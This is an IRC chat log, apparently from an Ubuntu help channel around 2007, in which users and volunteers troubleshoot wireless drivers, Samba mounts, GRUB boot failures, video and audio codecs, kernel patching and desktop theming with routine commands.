[19:45] Menza: So after the -r put file name? [19:45] arash: I'm familiar with that process, but it won't let me set a different virtual from the physical resolution [19:45] Darkmystere: no. Just type this: sudo ./find-madwifi-modules `uname -r` [19:45] MenZa: SATA, and the odd thing is that GPartEd seems to recognize it without fail [19:45] Darkmystere: I'm not sure if the file IS called find-madwifi-modules, but it's something like that.

[19:59] what can i do with that? :s [19:59] Darkmystere: It shouldn't take long. [19:59] soundray, ok, thank you. I just want the system to consume the least amount of power possible (with the hardware I have of course) [19:59] duudii-> okay..fyi look in your /boot/grub/device.map and look at contents [19:59] snmpd.conf is a bit hard to grok at first, but after you understand it it's alright [19:59] Menza: Well Cool Lol its getting tempting pressing the r button and all lol [19:59] whats the correct driver file [19:59] it helps to recognize usually reserved constants like readonly and readwrite are just in this case variable names [19:59] the inf sys or cat files? [20:00] My problem is as follows..I have a SMB network hard drive. I can see the shares if I use network lookup. but for some reason I cannot mount the share.

I get the following. sudo mount //192.168.2.74/music /media/music/ -o username=XXXX,password=XXX,dmask=777,fmask=777 [20:00] mount: Not a directory.... Any suggestions? [20:00] Darkmystere: wget http://menza.dyndns.org/madwifi.txt && cat madwifi.txt [20:00] arash: hasn't worked -- the additional resolution is just automatically eliminated as unsupported. Do I have to ignore EDID or something like that? [20:00] any ideas why the built in media reader doesnt see any cards? the reader is seen by Ubuntu. I tied 2 differant media cards (memory stick (256mb) and sd card (128mb) Both cards do read/write fine in another machine. if i boot up with the card in the reader, or if i insert it after i am logged in, still nothing [20:00] wOzza: smbmount [20:00] Getting a "non-system disk error" upon bootup now - Any thoughts?

I've tried everyway possible. Is there anywhere or anyone that has detailed instructions for this? (Plus i had it almost completely setup but i couldn't get a password set to i removed all of everything). So anyone have any answers please? [20:09] it goes 73hz at x768 [20:09] h1st0, looking for a guide [20:09] !snort [20:09] Sorry, I don't know anything about snort - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [20:09] 1024x768 i think das the right resolution [20:09] Can you mod Half-Life 1? [20:09] but at a higher rate [20:09] it stays at 50 [20:09] Question. I've got virtual domains setup via postfix mysql managed via postfixadmin. Incoming mail is working perfectly at this point, but outgoing mail is another story all together. If I attempt to login as the same user I've been able to login as to get mail, it fails with: SASL PLAIN authentication failed: bad protocol / cancel. It seems that saslauthd isn't talking to mysql... but I don't have the damnest clue where to look to s [20:09] which blows cuz its all glitching and stuff man [20:10] wOzza: smbclient //share/mount -username=user -p [20:10] W8TAH: ahh probably in the forums. but sudo apt-get install snort will install the package [20:10] i mean its all cubic and crap [20:10] WorkingOnWise: open it in a pager like less or in an editor you like, and use the search functions and your common sense. The name O2 will probably be mentioned near any messages relating to it. [20:10] but regardless its okay [20:10] but still [20:10] plus [20:10] realmer: then you can see if smblcient can access this share at all [20:10] Can you mod Half-Life 1 ???

[20:13] its not that much of a prograM HLST0 its just that a higher resoultion than 1024 x768 the refresh rate doesnt go up to 75hz [20:13] and u see alot of flickering on youtube etc [20:13] ok someone link me up witht he broadcom page [20:13] Moduliz0r: yes google would be of help [20:13] er, SuaveIV, does the livecd use a 2.6.15 kernel [20:14] ikonia-> its garbage i said, not even caligraphy.. kind of random hyroglyphics [20:14] !broadcom > Fade2Blk [20:14] inxistant: that is the best way to get ignored [20:14] realmer: what is the command I should have in fstab? [20:14] thx [20:14] boinker: its like 51, 52, right? [20:14] only problem that im most concern of is the video implemation of the websites..such as youtube and wtage 6 [20:14] yeah xintruduer [20:14] how can I connected a windows vpn server? [20:14] same here [20:14] its always at that low rate [20:14] Spee_Der: found it in /etc/defaults/snmpd there's 127.0.0.1 in the config options [20:14] Do you need an internet connection to run Half-Life?

[20:14] and its noticable on youtube and such [20:14] bkar: no idea why that would cause issues unless you removed a map for a disk in use [20:14] mount -t smbfs -o username=,password=foo //192.168.0.x/share /home/user/share [20:14] bkar: I would simpley re-apply grub [20:14] menZa: not sure [20:14] ikonia so I put back the original device.map and now am booted [20:14] wOzza: look what Duke_Fluke wrote [20:14] boinker: does compiz crash you computer? [20:15] bkar: you could try fixing the device.map - but that shouldn't make a difference unless you modified a device that was inuse/required [20:15] Do you need internet to run Half-Life 1 ??? [20:15] plus and i hate this resolution it feels small and to top it off it firefox crashes every now and then [20:15] Deep6, Ok. I was reading the RFC defining snmp v2 [20:15] boinker: do you have video drivers installed? [20:15] tinman47: no [20:15] nah compiz seems stable but firefox crashes a bit [20:15] yeah [20:15] ikonia: Well... Tell me how should I behave then... [20:15] if you wanna play online you do [20:15] i got the restricted drivers enabled [20:15] Sweet. Thanks thats all I needed. [20:15] seems to me it was a multiplayer only anyway [20:15] menZa: i'm using the DVD actually [20:15] i forget [20:15] inxistant: ask a question politley in lower case without any random heeeeeeeeelp or lol or rolf [20:15] but i see a remarkable change in windows windows does a better job and i hate windows though [20:15] how can I check alsa or xine settings? [20:15] boinker: should be working fine I don't experience any problems or slow downs [20:15] boinker: oh like fonts etcc? [20:15] xine-check [20:15] inxistant: then wait quiet and calmly for a response [20:15] boinker: do you know what glx driver you are using? [20:15] yeah i know its just small flickers on youtube.com [20:16] SuaveIV: I would've stuck to the original LiveCDs... [20:16] anyone want to proofread my email to a company? [20:16] ikonia: My problem is a quite complicated one... Really... Any expert with hal here? [20:16] boinker: you may find that is down to flash version 10 [20:16] nah that i dont know i just enabled restricted drivers by defulat [20:16] boinker: yeah something is definately wrong then. Shouldn't be doing that. [20:16] ikonia-> i think its the stage1 that got installed on the mbr is causing this issue, I had a multi os boot, i replaced a second drive and installed ubuntu, boot ok, but putting back the older 2nd drive thats when it fails, so i tried to recover [20:16] inxistant: a few people are reasonable with hal [20:16] menZa: didn't have any blank CDs, only Blank DVDs [20:16] !fonts > boinker [20:16] the system doesnt flicker though hlst0 just youtube videos seems cheap u know what i mean [20:16] er [20:16] bkar: just re-install grub so it's updated, ver easy [20:16] my bad wrong channel [20:16] like its an old flicking movie u feel me [20:16] soundray: there is no mention at all of o2 in /var/log/dmesg [20:16] once in a while though [20:16] ikonia: Let's try again. :-) [20:17] SuaveIV: I see. [20:17] Menza: Is there a work Around to the having to disable and remove compiz and x-server to play Regnum Online? [20:17] hey all, I'm trying to get Micropolis (the new simcity) to work in ubuntu gutsy x86... well, the interface comes up, but this isn't exactly supported software just yet... i get no mouse/keyboard interaction and the only way to stop it is via ctrl-c on the command line or kill -9 ... has anyone else been able to get this game to work? [20:17] Any experts with HAL please? [20:17] but after i keep going at it at youtube itll crash when i click another video to watch too [20:17] Darkmystere_: no idea. [20:17] Deep6, I think I need re-boot in order for it to work. [20:17] WorkingOnWise: can you paste it on http://paste.ubuntu-nl.org for me to have a look [20:17] inxistant: That's a pretty complex topic---I suggest you poke around on the forums or mailing lists, they may give you more help. [20:17] just wish ubuntu had better hardware intregration or whatever u feel me [20:17] Spee_Der: don't think so, but the snmpd.conf is a bit funky I'll admit [20:17] MenZa: Thanks [20:17] however, GParted sees the drive as hda [20:17] boinker: it has excellent hardware integration. [20:17] but other than that things are cool with ubuntu its good man i apprecaite it [20:17] you'll need snmp walk and friends to test as well [20:18] Gnea: get support from the software maintainers [20:18] Deep6, I need to read more of the RFC first..... Get a better undersanding that way [20:18] word man it probably does though its fast man ubuntu is fast on my system i wont lie === vraa_ is now known as vraa [20:18] hm [20:18] Menza: If i loggoff ill brb [20:18] just firefox crashes with video sometimes [20:18] inxistant: what is the problem? [20:18] das about it though [20:18] soundray: http://paste.ubuntu-nl.org/51816/ [20:18] menZa: would it matter that the first partition on the drive is NTFS? [20:18] Darkmystere_: good luck. [20:18] SuaveIV: hmm, I wouldn't assume so. [20:18] but still i love ubuntu its my offical os [20:18] ikonia: yeah sure, how? their website doesn't have any mailing list or anything like that.. it's totally off the wall, unhelpful and unconventional as far as a website should be... gah [20:18] inxistant: I am no hal expert but had problems after update to gutsy and fixed them [20:19] Gnea: not ubuntu's issue [20:19] Realmer: I can't adjust the brightness of my screen... [20:19] well, GParted here doesn't seem to recognize the HDD [20:19] oh and i wont mention the games...(emulators) they flicker too [20:19] inxistant: use the contols on the monitor [20:19] ikonia: It is a laptop. [20:19] i seen in windows they run flawlessly almost but in ubuntu it flickers alot and lags and stutters [20:19] please can someone help me [20:20] ikonia: this is simcity we're talking about... it's gonna become ubuntu's issue. [20:20] hello [20:20] my computers completely screwed [20:20] The only place where it is correctly written is in /sys/class/acpi_video0/actual_brightness [20:20] das why im a lil pissed cuz man this os got potential no lie its just small things messing it up just a bit still i love it lol [20:20] i can only work on the command line [20:20] and I can't write in that file. [20:20] destructball: state your problem [20:20] ok [20:20] That's why I think it is a HAL issue. [20:20] its sorta a long story [20:20] i want to change the appearence of ubuntu to apple does anybody know any gdm ? [20:20] it'll work out hopefully im hoping they'll fix it and realize it cuz i seen improvemnts like youtube now supports the fullscreen without restarting it all the time [20:20] destructball: all ears [20:20] i got apple on my shit tifine [20:20] Gnea this is not ubuntus issue or support problem [20:21] das how my screen looks like [20:21] go to google [20:21] WorkingOnWise: that's chock full of call traces from your wifi device. No wonder you can't find anything related to the card reader issue. [20:21] and type in gnome eye candy [20:21] i read in a forum post that said that if you type something inot the command promp then you can copy things into the root [20:21] Gnea: u'r not from gnuil? [20:21] it was something like eula [20:21] boinker : ? [20:21] go to add/remove and install startup manager [20:21] sup guys. I'm having problems with Ubuntu getting input from my Logitech USB mic. Apparently it does detect it as a new Input Device, but I've only gotten it to receive input once. (or at least get input out to the speakers) [20:21] boinker : what did u said ? [20:21] hi, I am wondering how /etc/apache is relate to /etc/apache2/ on Ubuntu? [20:21] tifine i have my os to look like mac osx leopard which looks cool along with a dock that looks just like the dock in mac osx [20:21] and then i changed a setting so that all users could add or remove files from the root [20:21] MxReb0 apache + 2 [20:22] Realmer: So, yes... The only place where the brightness is coreclt in is is /sys/class/acpi_video0/actual_brightness and I can't write in this file. [20:22] I know... [20:22] menZa: so, what might be preventing Ubuntu from seeing the drive, and yet the GParted-only LiveCD sees it just fine? [20:22] Menza: Ur not leaving? are u [20:22] and then whenever i tried to start a program it said [20:22] boinker : how u did it ? [20:22] its almost identical except for some programs [20:22] soundray: i just did a search in gedit for o2. Even with all the call traces, my wifi works great! [20:22] the user root does not exist [20:22] so i restarted i [20:22] go to google and type gnome candy [20:22] destructaball: yes it does [20:22] hold on ill give u the link [20:22] inxistant: sorry can not help with that, had problems of starting hal [20:22] ikonia, there is no confic file in apache2, does it look at apache (1)? [20:22] and now it only works in command line [20:22] Darkmystere_: no [20:22] SuaveIV: good quesiton [20:22] what should i do? [20:22] anyone know how to create a link or a way to forward ports im trying to avoid SSL for gmail so i can use outlook 2003 with wine [20:22] MxReb0: thats odd [20:22] SuaveIV: question too [20:22] http://www.gnome-look.org/ [20:22] ikonia: well, sometimes people have used certain software on here, that's all i was asking for. whether you like it or not, that's the reality. thanks for the hint though, i'm digging around the site a bit more. [20:22] Menza:make: *** No rule to make target `clean'. Stop. [20:22] make: *** No targets specified and no makefile found. Stop. [20:22] WorkingOnWise: but any relevant message written about your card reader at boot up has been discarded because of that calltrace flood [20:22] db: so you can log in? [20:23] boinker : no but i thought that somehow u can use the gdm so that ur computer looks like apple mac! [20:23] Gnea: this is not a place to ask for support for that sotware [20:23] no only command line [20:23] yeah man [20:23] i got that tif [20:23] it looks just like mac [20:23] Hello. I want to backup my ubuntu for moving on another PC. How I can do it? [20:23] not even knome safe mode works [20:23] hold on tif [20:23] OK. Question 2: Is there any way to tell the system to write a specific value at /sys/class/acpi_video0/*** during the boot sequence? [20:23] ikonia: can i create a local imap on ubuntu to download with fetchmail my gmail through imap and then access it in outlook2003 in wine? [20:23] Darkmystere_: you're in the root folder of the madwifi folder, right? [20:23] /ignore ikonia all [20:23] !backup | goodhabit [20:23] db: what I mean is when you boot your comp does it give you a login:? [20:23] Oh!! [20:23] UBUNTUISLOVED: ouotlook doesn't support imap [20:23] guys, I cant get libfaac to work with ffmpeg >_> [20:23] goodhabit: There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning [20:23] in that link i gave u just type in mac osx [20:23] yes it does [20:23] but i cant go any further than that [20:24] ikonia: umm yea it does im using it with work imap now [20:24] Gnea: just behave and stay on topic which is ubuntu support [20:24] UBUNTUISLOVED: see ssh -L [20:24] in there search bar and ull find files etc u could download just google how to install gtk2 themes etc and ull learn how to install them its easy [20:24] db: so if you type your username and password combo it doesn't work? [20:24] MenZa-> use the redirect > please [20:24] soundray: i have an internal wifi thats turned off. it has a bad antenna wire, so I use my pcmcia dlink card. i dont think the internal card is totally "off", and linux kernel wants to talk to it...does that sound possible? [20:24] UBUNTUISLOVED: just looking [20:24] it works [20:24] ikonia: get off my back and i will. [20:24] but then it signs out in less than ten seconds [20:24] Gnea: careful there [20:24] db: ok so you can get to a prompt? [20:24] Gnea: then respect the rules, be polite [20:24] yes [20:24] bkar: Yes. [20:24] realmer: so i can use ssh -L to forward local ports yea i guess i could do this [20:24] Menza: Thanks lol Anyways, Anybody knoq how to add AWN Curve to an Already installed AWN the terminal install wont work [20:25] db: so you login and then it logs you off in 10 seconds? [20:25] WorkingOnWise: disable the internal wifi in the bios then if you don't want it to even be detected [20:25] UBUNTUISLOVED: ok, so I suggest you don't actually want to download the messages as that won't be an imap server running for outlook to connect to (does that make sense) [20:25] Darkmystere_: not a clue. [20:25] i dont see anything [20:25] MenZa-> dont flood the channel when you direct someone to a ubutu guide..thanks [20:25] OK. Question 2: Is there any way to tell the system to write a specific value at /sys/class/acpi_video0/*** during the boot sequence? [20:25] hold on ill go and log in and copy down the error message [20:25] WorkingOnWise: very much so. If you're not using it, I suggest you remove it. A welcome side effect would be extra battery life... [20:25] anyone know why ffmpeg won't use libfaac? [20:25] db: good idea [20:25] I got my sound working using asounfconf set-default-device 1 [20:25] bkar: Please don't talk down to me like that. I'm quite an able helper in here. [20:26] ikonia: honestly i dont care if i use imap or pop but outlook 2003 in wine doesnt support SSL right now so only gmail is not working but my work is working fine [20:26] h1st0: cant. theres a button that i can press to turn it off anf on, next to the power button. [20:26] Moduliz0r: the ffmpeg that comes with ubuntu is cripled [20:26] y0 all [20:26] ikonia: work email i mean [20:26] MenZa we know, am just requesting you, to please use a redirect > and not | [20:26] WorkingOnWise: in the bios it can be disabled [20:26] the error message is [20:26] h1st0: Well what else can I use to convert flv -> iPood mp4? [20:26] bkar: I got that message the first time. [20:26] drum roll [20:26] yeah tif u can [20:26] ikonia: i was just thinking of a way to download the emails locally then be able to access on 127.0.0.1 [20:26] soundray: i could remove it till i get around to replacing the cable. [20:26] ikonia: basically setup a local imap server to avoid ssl [20:27] UBUNTUISLOVED: hmm that will not work [20:27] my ubuntu looks extactly like mac not 100% though but it looks alot like it especially if u install kiba dock [20:27] Moduliz0r: you should be able to use ffmpeg if you install it yourself. But i'm not sure of what other video converters are out there. [20:27] UBUNTUISLOVED: I guess the best way I can think of doing that is to get your email via fetch mail, to a mail server running on your local ubuntu machine, then get outlook to connect to that via say pop3 ? [20:27] is anyone else having problems with metropolis? it compiles fine but terrain isn't showing properly [20:27] UBUNTUISLOVED: how does that sound ? [20:27] Menza: Thanks a Bundle uve been really helpful now that i cant use Ubotu =( [20:27] Moduliz0r: I'm sure there is a nother package thats a better otpions [20:27] Moduliz0r: Vixy.net has online conversion :o [20:27] !mp3 [20:27] For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats [20:27] Darkmystere_: You could ask in #ubuntu-ops to have your ignore removed, if you behave nicely. [20:27] user's $home/.dmrc file is being ignred this prevents the default session and language from being saved. file should be owned by user and have644 permissions. users $home directory must be owned by user and not wriable by other users [20:27] But I only have offline flv files, and they are about 60MB each [20:27] yo tif u got an email or something so i could show u my desktop...how can i show someone a screenshot withouth displaying emails in this room?

[20:30] Darkmystere_: this may help: https://help.ubuntu.com/community/UpdatingADeb [20:30] Darkmystere_: It has something to do with setting the kernel path variable, but I'm not sure how to do that.

[20:32] destructaball, your regular user password [20:32] [sudo] password for david [20:32] WorkingOnWise: I see. The way forward, then, is probably to reboot without the PCMCIA, and then look at the dmesg output again [20:32] orgy: what does fdisk -l report? [20:32] orgy`: are you sure its fat32? [20:32] i have it doesnt work [20:32] ignignokt-> want to trade your coasters to mine? i have several too, frekin 3kb seems to fail miserably on me too [20:32] hi all, I am trying to get this beautiful conkyrc to work http://www.gnome-look.org/content/show.php/new+vision+of+conky?content=70929 but am having trouble.

[20:34] Darkmystere_: Yes, the patch is downloaded in that file. [20:34] ogre: you may want to contact teh owner but i'm going to try it now that looks really nice [20:34] Darkmystere_: that's SVN revision 2756 with the patch applied.

I want to impress my sister who is coming over later today who is linux geek with my beautiful desktop [20:35] soundray: no, i mean "remove hardware, reboot, check condition, reinstall hardware, repair problem" I did that a lot with flaky hardware in Windows.... [20:36] DjViper: so go to package manager and look for ssl related stuff [20:36] foo-nix: you can use 'apt-cache search keyword'. Also see the upcoming private msgs from ubotu [20:36] it just says the normal prefix, I have no name!@david-laptop:$ [20:36] hey whats the command to find out if my wireless card is installed [20:36] !apt-file > foo-nix [20:36] Darkmystere_: should be.

I'm gonna shut down and pop out the wifi and then look at dmesg again. be back soon [20:37] Nothing in linux seems to be able to convert from flv -> mpeg4 [20:37] Duke_Fluke thats what dmesg gives me http://rafb.net/p/uTimtr39.html [20:37] When editing xorg.conf, are changed reflected immediately upon saving?

[20:38] ignignokt-> i see, mine is like 0.12.17 [20:38] zappZap1, I got that one, too. It works perfectly? [20:39] ThipThip: no, you need to log out or reboot [20:39] Duke_Fluke do you know if winxp can do that too?

[20:39] brb [20:39] anquietas: nope not at all, no sound : aplay -l aplay: device_list:222: no sound card detected... [20:39] why is ubuntu's ffmpeg so crippled? [20:39] jcims: yes. Any other hardy questions, please ask in #ubuntu+1 [20:39] Moduliz0r: http://youmakemedia.com/2006/10/13/converting-flv-to-mpeg-in-linux/ - tried that? [20:39] jcims: yes, but you'll probably be better off with a reinstall on release [20:39] thanks ill take a look [20:39] ThipThip if you have a second X login window, you can attempt to have the 2nd user login in there [20:40] anquietas: i'm using xubuntu 7.04 [20:40] ok, thanks folks [20:40] well Duke_Fluke thanks for you help ;) [20:40] orgy: yes that works too but open a shell and use chkdsk np [20:40] Moduliz0r: also if ubuntus ffmpeg is crippled just compile your own one [20:40] zappZap1, interesting. I have had no problems with it for the very beginning. ( I am using Ubuntu 7.10 ) [20:40] [20:40] anquietas: how did u get yours to work? i'm now searching for a solutuion the whole evening. which alsa version do u use?

Probably yours is listed... [20:42] dewd you can see what your driver supports by just typine iwpriv i believe [20:42] h1st0, its beautiful isnt it? I want to impress my sister who is coming over later today who is linux geek with my beautiful desktop [20:42] im gonna run XP in Qemu [20:42] soundray: thank you. [20:42] oh god this will lag [20:42] bkar: the driver supports it but it is not an module option [20:42] i have "//192.168.1.100/SharedDocs /media/homeoffice cifs username=guest,password=,uid=1000,iocharset=utf8,codepage=unicode,unicode 0 0" in /etc/fstab. what do i change to make the volume read-only for normal users?

[20:45] spideyman: yes [20:45] zappZap1, I, however, don't know what file you are talking about. I am sorry. :) [20:45] If u want to know my problem is: http://paste.ubuntu-nl.org/51823/ [20:45] so the command works, the card supports it [20:45] dewd i cant assist you much, i dont even have options like that to test with [20:45] but when hitting the switch the command is not executed [20:46] I need the command executed when the module loads [20:46] so when trying to boot windows XP from grub on my hd3,0 it just gets stuck forever. has anyone seen this before?

I unmount it, pop in a memory stick and nothing. I pull it out and put in the sd card again, and it works. Wierd.

My ping command was just 'ping google.com' [21:15] yes, there is one, let me try again so i can get it [21:15] Sure! My suggestion would be to pre-partition your hard drive with a GParted Live CD, which you can find at http://gparted-livecd.tuxfamily.org/ - be sure to partition at least 256MB (I recommend 512MB) as swap space, and the rest you can partition as you see fit.

[21:15] hey guys, im trying to add a mount --bind to the fstab, except im not sure what to put for the first field [21:15] bkar: google loads, but no other site. so strange...

My suggestion would be to pre-partition your hard drive with a GParted Live CD, which you can find at http://gparted-livecd.tuxfamily.org/ - be sure to partition at least 256MB (I recommend 512MB) as swap space, and the rest you can partition as you see fit [21:16] Onyx: why gconf? why not system>preferences>removable media ?? [21:16] my system won't boot, I keep getting init: Error parsing configuration: No such file or directory, then it dies [21:16] erUSUL: What's wrong with gconf? [21:16] just a one liner, "nameserver 192.168.1.1" [21:17] bkar: just a one liner, "nameserver 192.168.1.1" [21:17] noon is the 192.168.1.1 from your router? and i assume that is your router ip address? [21:17] Onyx: mare cryptic? [21:17] DerangedDelusion: would 500mb swap and the rest ext3 set to "/" be ok? [21:17] joshuamc - That's just about my configuration, so I don't see why not. [21:17] soundray: yeah. I got what I paid for, but all in all a 17" laptop with 100GB hdd, 1GB of ram, and dvd burner for $500 is ok till I can afford a real laptop! thanks for the help. :) [21:18] erUSUL, did you get my message?

[21:59] andax: 224*1024==229376 the kernel reported 229918kb the difference is negligible [21:59] hello, does anyone here use hfsplus on a daily basis on their ubuntu machine? [21:59] is it stable? [21:59] noon nope [21:59] question, upon boot of my laptop, I'm getting a ton of sysctl errors saying things similar to "sysctl_table check failed: /etc/ath .7.9 Unkown sysctl binary path". What is it trying to do, and how do I fix it? [21:59] duudi: I get to the screen that says "start or install ubuntu" and then I click that, but then the screen goes dark and I get a bunch of I/O errors. I can't boot from the HD because i get a system disk error. === noon is now known as noon| [22:00] hey where is my create url in right click menu on desktop in 7.10? [22:00] reaper: are you using the -O option to specify an output file? [22:00] is there no easy way to share a folder with samba? [22:00] Starnestommy: nothing helps [22:00] bkar: i had to use another nick, now im pming [22:00] josiah, system -> admin -> shared folders [22:00] noon|-> i can not get a pm [22:00] hakon_: unfortunately, I'm not sure how to fix it [22:01] Starnestommy, can't use -O with -r [22:01] Starnestommy: Should i just change to another linux? [22:01] like kubuntu? [22:01] Anybody got a sulotion yet? [22:01] hakon_: try recovery mode using aptitude [22:01] john47: sounds bad! i don't think i know how to help, sorry [22:01] Blissex: I know. It's got something to do with either frame buffer in a terminal, or maybe terminal resolution settings, I think. but I cant find anything now to help me undo my mess... [22:01] duudi: I took the advice of Jack_Sparrow and typed F6 at the Ubuntu live CD bootscreen and typed "remove quiet splash" (shot in the dark) and I was indeed able to reach the X windows environment. It's now running from the Live CD. Any thoughts on what I can do now? [22:01] Starnestommy: how do i do that? [22:02] Can anybody help me [22:02] hakon_: other than that, I'm out of ideas. When you reboot, select the "recovery mode" option on the grub boot mwnu [22:02] *menu [22:02] Seveas: Ok. I have everything set up correctly in here (from what I can tell) but I am still not seeing the share on my windows machine. [22:02] WorkingOnWise: it is very unwise to have two drivers both manage the same device. So for example to use both a kernel frame buffer driver and an X driver (unless that is 'fbdev') is not a good idea. [22:02] Starnestommy: what is grub boot menu? [22:03] /boot/grub/menu.lst [22:03] im trying to install ruby on rails and its been Attempting remote installation of 'rails' Updating Gem source index for: http://gems.rubyforge.org for over a hour now [22:03] hakon_: it's the menu when you start up that says something about ubuntu on it [22:03] WorkingOnWise: if you use any X driver other than 'fbdev' it is much safer not to use *any* console driver other than the default (or sometimes VESA). [22:03] john47: are you at cli? "DOS" equivalent [22:03] ok, brb ill try your suggestion [22:03] hows this for an email address? hanifbh@gmail.com. Hanif is my first name, bh are the first two letters of my last name. [22:04] WorkingOnWise: it is particularly bad to use 'rivafb' at the kernel level and the NVIDIA proprietary driver under X. [22:04] erUSUL, have you done this before [22:04] ? [22:04] Jack_Sparrow: Your trick worked! I typed "remove quiet splash" after hitting F6 at the login screen for the Live Cd. Now I am into Ubuntu with the desktop. My question is: now what? [22:04] lwizardl: patch and recompile a kernel? yes i have [22:04] erUSUL: yes, it is negligible. Okay. [22:04] HanifB: how it is? full of spam, after posting it on an logged IRC channel. anyway, i don't see how it's relevant to the topic of this channel [22:04] lol [22:04] just wanted suggestions [22:04] noon remove that metric 100 [22:04] Blissex: wel, I just want to take things back to "normal", but cant for the life of me find what I changed. where do I check to see what console drivers I'm using? [22:04] john47: DO you see an icon for install... if that is what you want to do of course [22:04] erUSUL, ok so i move the patch to which folder inside the source dir [22:05] LjL: most gmail usernames are taken unfortunately [22:05] bkar: how [22:05] john47: Or just look around and get a feel for it.. [22:05] !ot | HanifB [22:05] HanifB: #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome! [22:05] hi all - i get a large number of wakeups from sleep on my laptop - here is the results from powertop [22:05] http://pastebin.com/m546baeb8 [22:05] WorkingOnWise: 'lsmod' would help. Problem is you must know the names of the console driver. [22:05] Jack_Sparrow: Yes, everything is there, but do I want to re-install 7.1? Servaes wrote that there is a kernel problem and I should load Feisty instead of Gutsy. [22:05] extra timer interrupt is the biggest culprit [22:05] lwizardl: the patch file can be anywhere but the patch command have to be called from the top dir of the linux kernel sources [22:05] noon have you visited your router's vendor web site yet? look at their how to configure your router? [22:05] Greetings from Ottawa [22:06] and idea how to make it sleep longer? [22:06] Seveas: ok it just took a while. I now see my computer in windows... but it is asking for a user/pass... and not accepting. Cant I just make the share available to anybody on the network rw? [22:06] johnsky: Hello [22:06] Jack_Sparrow: Or do I simply need to repair something with GRUB perhaps? [22:06] what bot is ubotu? [22:06] from Edmonton [22:06] john47: If you had gutsy running .. I would reinstall it.. if you were having issues.. then switch to feisty.. game back on... [22:06] question, how can i see other computers in the same network? [22:06] erUSUL, i always get error on patch === brunost is now known as _hakon_ [22:07] <_hakon_> What was i supposed to type in recovery mode? [22:07] How are you Duke_Fluke? === el_toni is now known as elwood [22:08] Anyone have any advice on how to install Feisty over a pre-existing (but badly performing) Gutsy install?

[22:08] hey [22:08] I installed nvidia drivers, set up xorg via nvidia-setting and I have no window bars on my first screen [22:08] question, how can i see other computers in the same network?\ [22:08] i'm experiencing a strange problem with my WPA-encrypted wireless network [22:09] sudo apt-get install vlc [22:09] How can I see hidden folders and files (such as .mozilla)? [22:09] _hakon_: Im gonna guess" sudo apt-get install vlc" [22:09] i have configured the psk etc. in /etc/network/interfaces [22:09] lwizardl: humm maybe the patch do not need the -p1 flag... [22:09] ThipThip: ls -a [22:09] Also I need to swap screens [22:09] hey err i have an sd card and i cant get it out of read only mode ???? [22:09] Pretty good Duke_Fluke [22:09] hi, i have a question... how do i enable tv out on my nvidia card? i have the special nvidia 8 series drivers installed [22:09] when the system boots, dhcp doesn't work and the interface gets a link-local ip address === zenwryly` is now known as zenwryly [22:10] ThipThip: I know the answer to that one, at least - Ctrl-H in Nautilus. [22:10] but when i manually do ifdown and ifup, it works [22:10] lwizardl: reinstall the kernel sources and try with 'sudo patch -p1 --dry-run < /path/to/file.patch' [22:10] johnsky:must be nice having three guys on your hockey team in the top 20 in scoring [22:10] <_hakon_> did not work, got message: some pacages could not be install [22:10] hey err i have an sd card and i cant get it out of read only mode ? can anyone help [22:10] awesome - thank you [22:10] <_hakon_> what can i type i stead of apt-get? [22:10] i cannot see anything in the logs that would have changen between the automatic dhcp request and my manual one [22:10] Blissex: if i knew what console driver to use, how would i change it? [22:10] robobob: is it physically set to read only? (the little switch on the card) [22:10] does anybody have an idea where the problem could be? [22:10] no [22:11] Can anyone help me with this boot manager issue? I cannot boot from the hard disk unless I use the Live CD, in which case I can boot into either Ubuntu or Windows just fine [22:11] _hakon_: What? [22:11] lwizardl: the --dry-run is to tall patch to do not actually apply the patch just in case there is some error when the patch applies without errors [22:11] ive tried it both up and down [22:11] WorkingOnWise: well, the best way would be to blacklist at the 'udev'/module loaded level. [22:11] lwizardl: you can run the comand again without that flag [22:11] ThipThip: You'll need to reinstall grub (stage 1), see the first link on !grub [22:11] _hakon_: you could try and download platform independent binary form the main vlc site or compile the source yourself [22:11] sudo apt-get install linux-kernel-devel fakeroot build-essential [22:11] how can i tell if i have java 5 [22:11] is what i use [22:11] anyone know where I can get the Industrial icons as found in openSUSE? [22:12] I've somehow lost the ability to resize my totem window. It's stuck in Fullscreen and window mode -except I dont have a title bar. Any ideas?

[22:12] Johnson: java -version [22:12] Is there an alternative boot manager I might consider? [22:12] lilo [22:12] lilo is a pain in the ass >< [22:12] question, how can i see other computers in the same network?\ [22:13] funny have never had lilo try to rape *ME* [22:13] ;) [22:13] ThipThip: You can boot to SBM (smart boot manager) [22:13] hi, i have a question... how do i enable tv out on my nvidia card? i have the special nvidia 8 series drivers installed [22:13] Are there distinct advantages or disadvantages to a different boot manager? [22:13] grub is WAY more flexible than lilo [22:13] ThipThip: but if you go that route, you'll have two menus to go through. SBM will boot to GRUB [22:13] I just installed gutsy server and on the console all letters are capital? They are seen by the system as lower case, but they show as capital? [22:13] As shallow as it may sound, I'd like something that looks better than simple text :) [22:13] <|REM|> is there a command at the command line to search the entire drive for something? [22:14] with Grub you can do neat things "on the fly" [22:14] |REM|: "something" like a file named with a certain filename? [22:14] <|REM|> yeh [22:14] |REM|: man find [22:14] <|REM|> cool thanks!

Do it again and your window leaves full-screen mode [22:15] sqrt2 it says java 2 runtime enviorment build 1.5. is there java 5 for ubuntu? [22:16] It's not clear to me from the link - can I easily use grub even if windows is installed in my primary partition?

[22:16] ThipThip: yes [22:16] i mounted it via mac os x and cant write to it, dunno why [22:16] siriusnova, incorrect permissions on the mac side [22:16] PriceChild - how do i fix them?

